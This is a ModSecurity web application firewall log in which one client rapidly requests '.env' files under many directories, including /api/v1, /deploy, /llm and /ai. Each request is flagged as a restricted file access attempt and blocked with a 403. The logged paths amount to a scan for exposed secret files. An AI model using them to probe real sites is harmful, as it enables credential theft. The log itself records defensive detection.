[Sun Oct 25 13:42:08.387368 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4_cEnqvEndZSiuRU5OoAAAAA8"]
[Sun Oct 25 13:42:08.387458 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHAAAACc"]
[Sun Oct 25 13:42:08.387589 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4_cEnqvEndZSiuRU5OoAAAAA8"]
[Sun Oct 25 13:42:08.387700 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/api/v1/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHAAAACc"]
[Sun Oct 25 13:42:08.387911 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4_cEnqvEndZSiuRU5OoAAAAA8"]
[Sun Oct 25 13:42:08.391264 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4_cFMGGelIHqGysXAauQAAAB8"]
[Sun Oct 25 13:42:08.391436 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4_cFMGGelIHqGysXAauQAAAB8"]
[Sun Oct 25 13:42:08.391652 2026] [security2:error] [pid 2867876:tid 2867876] [client 35.203.118.101:49976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4_cFMGGelIHqGysXAauQAAAB8"]
[Sun Oct 25 13:42:08.392668 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4_cIIGIq5euXyTbvT08wAAACQ"]
[Sun Oct 25 13:42:08.392835 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4_cIIGIq5euXyTbvT08wAAACQ"]
[Sun Oct 25 13:42:08.393041 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4_cIIGIq5euXyTbvT08wAAACQ"]
[Sun Oct 25 13:42:08.404905 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /packages/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4_cPwFw76qlSfceadvLwAAAAA"]
[Sun Oct 25 13:42:08.405158 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4_cPwFw76qlSfceadvLwAAAAA"]
[Sun Oct 25 13:42:08.405447 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/packages/.env"] [unique_id "at4_cPwFw76qlSfceadvLwAAAAA"]
[Sun Oct 25 13:42:08.406531 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4_cMsxP9Gbm0IYLGL9AgAAACI"]
[Sun Oct 25 13:42:08.406691 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4_cMsxP9Gbm0IYLGL9AgAAACI"]
[Sun Oct 25 13:42:08.406945 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4_cMsxP9Gbm0IYLGL9AgAAACI"]
[Sun Oct 25 13:42:08.408013 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4_cFY5e6yJWIYGXiqDowAAAAk"]
[Sun Oct 25 13:42:08.408145 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4_cFY5e6yJWIYGXiqDowAAAAk"]
[Sun Oct 25 13:42:08.408362 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4_cFY5e6yJWIYGXiqDowAAAAk"]
[Sun Oct 25 13:42:08.409518 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4_cOTZqNQxsvKVpXkhdQAAABM"]
[Sun Oct 25 13:42:08.409654 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4_cOTZqNQxsvKVpXkhdQAAABM"]
[Sun Oct 25 13:42:08.409649 2026] [security2:error] [pid 2873043:tid 2873043] [client 35.203.118.101:49990] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4_cLlgkXO-t9NoorakPwAAAAM"]
[Sun Oct 25 13:42:08.409852 2026] [security2:error] [pid 2873043:tid 2873043] [client 35.203.118.101:49990] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4_cLlgkXO-t9NoorakPwAAAAM"]
[Sun Oct 25 13:42:08.409947 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/services/.env"] [unique_id "at4_cOTZqNQxsvKVpXkhdQAAABM"]
[Sun Oct 25 13:42:08.410072 2026] [security2:error] [pid 2873043:tid 2873043] [client 35.203.118.101:49990] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4_cLlgkXO-t9NoorakPwAAAAM"]
[Sun Oct 25 13:42:08.418067 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /infra/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4_cLc82c1J4zoyxalWSgAAAAI"]
[Sun Oct 25 13:42:08.418329 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4_cLc82c1J4zoyxalWSgAAAAI"]
[Sun Oct 25 13:42:08.418613 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/infra/.env"] [unique_id "at4_cLc82c1J4zoyxalWSgAAAAI"]
[Sun Oct 25 13:42:08.466224 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /llm/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxAAAAA0"]
[Sun Oct 25 13:42:08.466446 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxAAAAA0"]
[Sun Oct 25 13:42:08.466781 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/llm/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxAAAAA0"]
[Sun Oct 25 13:42:08.479396 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ai/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHQAAACc"]
[Sun Oct 25 13:42:08.479603 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHQAAACc"]
[Sun Oct 25 13:42:08.479890 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/ai/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHQAAACc"]
[Sun Oct 25 13:42:08.499299 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /pipeline/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at4_cLc82c1J4zoyxalWSwAAAAI"]
[Sun Oct 25 13:42:08.499521 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at4_cLc82c1J4zoyxalWSwAAAAI"]
[Sun Oct 25 13:42:08.499917 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/pipeline/.env"] [unique_id "at4_cLc82c1J4zoyxalWSwAAAAI"]
[Sun Oct 25 13:42:08.501020 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /ml/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/ml/.env"] [unique_id "at4_cJkDGkILNr0EMn3BZAAAACw"]
